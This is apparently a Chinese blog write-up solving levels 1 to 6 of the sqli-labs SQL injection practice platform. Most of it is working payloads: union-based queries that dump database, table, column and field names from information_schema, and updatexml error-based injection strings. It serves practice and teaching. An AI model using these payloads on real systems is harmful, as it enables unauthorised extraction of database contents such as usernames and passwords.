iami233
iami233
文章175
标签37
分类4

文章分类

文章归档

sqli-labs SQL注入漏洞通关记录

sqli-labs SQL注入漏洞通关记录

sqli-labs 是一个专业的SQL注入练习平台

下载地址:https://github.com/Audi-1/sqli-labs

写在前面

1
2
3
4
5
6
7
8
9
10
11
12
# 查询字段数
order by 1,2,3....
# 查询当前表名
database()
# 查询所有库名
group_concat(schema_name) from information_schema.schemata
# 查询所有表名
group_concat(table_name) from information_schema.tables where table_schema='库名'
# 查询所有字段
group_concat(column_name) from information_schema.columns where table_schema='库名' and table_name='表名'
# 查询所有字段内容
group_concat(字段名) from 库名.表名

第1关

输入?id=1'页面报错 ,在后面加入--+后回显正常 判断为单引号字符型注入。

image-20210311185338585
image-20210311185428803

使用order by获取字段数 输入order by 4报错 判断字段名为3个。

image-20210311185631530

接着进行联合注入,通过回显爆出表名,列名,字段,用户名和密码

1
2
3
4
5
6
7
8
9
10
11
12
13
# 注意id要传一个不存在的值

# 查询库名
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

# 查询表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='库名' --+

# 查询字段
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='库名' and table_name='表名' --+

# 查询字段内容
?id=-1' union select 1,2,group_concat(字段名) from 库名.表名 --+

第2关

数字型注入
payload:?id=-1 union select 1,2,语句

第3关

单引号括号注入
payload:?id=-1') union select 1,2,语句 --+

第4关

双引号括号注入
payload:?id=-1") union select 1,2,语句--+

第5关

利用updataxml函数进行报错注入

  • 其中0x7e是ascii编码,解码为~
  • updatexml()是更新目标xml文档的函数
  • updatexml()语法:update(目标xml文档,xml路径,更新内容)
1
2
3
4
5
6
7
8
# 查询当前库的表 记得修改limit
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e),1);--+

# 查询库内字段
?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='库名' limit 0,1),0x7e),1);--+

# 查询字段内容
?id=1' and updatexml(1,concat(0x7e,(select 字段名 from 库名.表名 limit 0,1),0x7e),1);--+

第6关

把第5关中的payload前面的单引号改成双引号即可

本文作者:iami233
本文链接:https://5ime.cn/sqli-labs.html
版权声明:本文采用 CC BY-NC-SA 3.0 CN 协议进行许可